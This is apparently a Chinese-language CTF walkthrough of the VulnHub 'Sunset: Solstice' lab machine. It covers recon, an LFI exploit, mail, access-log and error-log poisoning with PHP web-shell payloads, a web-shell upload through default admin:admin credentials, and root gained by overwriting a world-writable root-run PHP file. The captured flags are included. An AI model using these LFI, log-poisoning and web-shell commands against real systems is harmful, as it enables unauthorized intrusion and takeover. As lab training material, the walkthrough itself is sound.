跳到主要内容

sunset: solstice

靶机链接:Sunset: Solstice


0x01 基本信息

参考:VulnHub 靶机无法获取 IP - ifupdown

名称IP
Kali Linux192.168.1.113
Sunset: Solstice192.168.1.108

0x02 侦察与信息收集 (Reconnaissance)

1. 全端口扫描 (Rustscan)

命令:

rustscan -a 192.168.1.108 -g --ulimit 5000 --batch-size 300 --timeout 3000

输出:

192.168.1.108 -> [21,22,25,53,80,139,445,2121,3128,8593,54787,62524]

2. 服务识别 (Nmap)

命令:

nmap -Pn -sV -sC -p 21,22,25,80,139,445,2121,3128,8593,54787,62524 192.168.1.108

服务列表摘要:

端口服务指纹 / 备注
21/tcpFTPpyftpdlib 1.5.6
22/tcpSSHOpenSSH 7.9p1 Debian 10+deb10u2
25/tcpSMTPExim smtpd 4.92,banner 主机名 solstice
80/tcpHTTPApache/2.4.38 (Debian)
139/tcpSMBSamba,workgroup WORKGROUP
445/tcpSMBSamba 4.9.5-Debian
2121/tcpFTPpyftpdlib 1.5.6,允许匿名登录
3128/tcpHTTP ProxySquid http proxy 4.6
8593/tcpHTTPPHP CLI Server,PHP/7.3.14
54787/tcpHTTPPHP CLI Server,PHP/7.3.14
62524/tcpFTPFreeFloat ftpd 1.00

3. Web 目录枚举 (Gobuster)

  • Port 80:
gobuster dir -u http://192.168.1.108/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -q -t 20 -x php,txt,html

发现: /app/, /backup/, /javascript/, /index.html

  • Port 54787:
gobuster dir -u http://192.168.1.108:54787/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -q -t 20 -x php,txt,html

发现: /project (File Thingie 登录入口)。


0x03 漏洞分析与利用 (Exploitation)

1. HTTP 8593: LFI 漏洞利用

验证 LFI:

curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../etc/passwd'

输出:

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
miguel:x:1000:1000:,,,:/home/miguel:/bin/bash

环境识别 (Information Gathering):

  1. 读取进程命令行: curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../proc/self/cmdline'

    • 结果: /usr/bin/php -S 0.0.0.0:8593 -t /var/tmp/webserver/
    • 分析: 确认是单线程的 PHP 内置服务器,Web 根目录在 /var/tmp/webserver/
  2. 读取进程环境: curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../proc/self/environ'

    • 结果: USER=www-data。确认当前权限。

0x04 核心攻击链 (Core Attack Chain)

第一阶段:初始突破 (Initial Foothold via RCE)

方法 A:邮件日志投毒 (Mail Poisoning)

  1. 投毒: 使用 swaks 发送 Payload 到 www-data@localhost
swaks --to www-data@localhost --from 'test@test.com' --body '<?php system($_GET["cmd"]); ?>' --server 192.168.1.108
  1. 验证 RCE:
curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/mail/www-data&cmd=id'

输出: uid=33(www-data) gid=33(www-data) groups=33(www-data)

方法 B:Apache 访问日志投毒 (Access Log Poisoning)

利用端口 80 的 Apache 访问日志注入。

  1. 注入 Payload:
    curl -sS -A '<?php system($_GET[cmd]); ?>' http://192.168.1.108/
  2. 触发 RCE:
    curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/log/apache2/access.log&cmd=id'
    输出: 192.168.1.113 - - [17/May/2026...] "GET / HTTP/1.1" 200 ... "uid=33(www-data)..."

方法 C:Apache 错误日志投毒 (Error Log Poisoning)

利用 Referer 字段触发 PHP 404 错误。

  1. 注入 Payload: 访问不存在的 .php 文件触发错误:
    curl -sS -e '<?php system($_GET[e]); ?>' http://192.168.1.108/nonexistent.php
  2. 触发 RCE:
    curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/log/apache2/error.log&e=id'
    输出: ... script '/var/www/html/nonexistent.php' not found ..., referer: uid=33(www-data)...

方法 D:File Thingie Zip 解压释放 WebShell (Alternative Foothold)

  1. 登录: 使用 admin:admin 登录 54787 后台。
    curl -s -L -c cookies.txt -d "ft_user=admin&ft_pass=admin&act=dologin" http://192.168.1.108:54787/project/index.php
  2. 绕过后缀限制并上传:
    echo '<?php system($_GET["cmd"]); ?>' > shell.php
    zip shell.zip shell.php
    curl -s -b cookies.txt -F "act=upload" -F "localfile=@shell.zip" http://192.168.1.108:54787/project/index.php
  3. 触发 RCE:
    curl -s -b cookies.txt -d "act=unzip&file=shell.zip&dir=&newvalue=shell.zip&submit=Ok" http://192.168.1.108:54787/project/index.php
    curl -s http://192.168.1.108:54787/project/shell.php?cmd=id

输出: uid=33(www-data)...


第二阶段:权限提升 (Privilege Escalation to Root)

1. 发现本地特权服务: 通过 RCE 执行 ps aux | grep php输出:

root 529 0.0 0.0 2388 756 ? Ss 22:18 0:00 /bin/sh -c /usr/bin/php -S 127.0.0.1:57 -t /var/tmp/sv/

2. 探测配置缺陷: 检查该服务的 Web 根目录:ls -la /var/tmp/sv/ 输出:

drwsrwxrwx 2 root root 4096 Jun 26 2020 .
-rwxrwxrwx 1 root root 36 Jun 19 2020 index.php

分析:目录及其中的 index.php 权限均为 777 (全球可写)。

3. 利用过程:

  1. 植入后门: 利用 www-data 的 RCE,将 Web Shell 覆盖写入该目录:
curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/mail/www-data&cmd=echo+PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==+|+base64+-d+%3E+/var/tmp/sv/index.php'
  1. 触发 Root RCE: 通过 curl 访问本地 57 端口执行命令:
curl -sS 'http://192.168.1.108:8593/index.php?book=../../../../var/mail/www-data&cmd=curl+-s+"http://127.0.0.1:57/index.php?c=id"'

输出: uid=0(root) gid=0(root) groups=0(root)


0x05 最终成果 (Final Flags)

User Flag

  • 路径: /home/miguel/user.txt
  • 内容: c0e1f61ff8e753d8b27615bdc4f25794

Root Flag

  • 路径: /root/root.txt
  • 内容: f950998f0d484a2ef1ea83ed4f42bbca
  • 备注: Thanks for playing! - Felipe Winsnes (@whitecr0wz)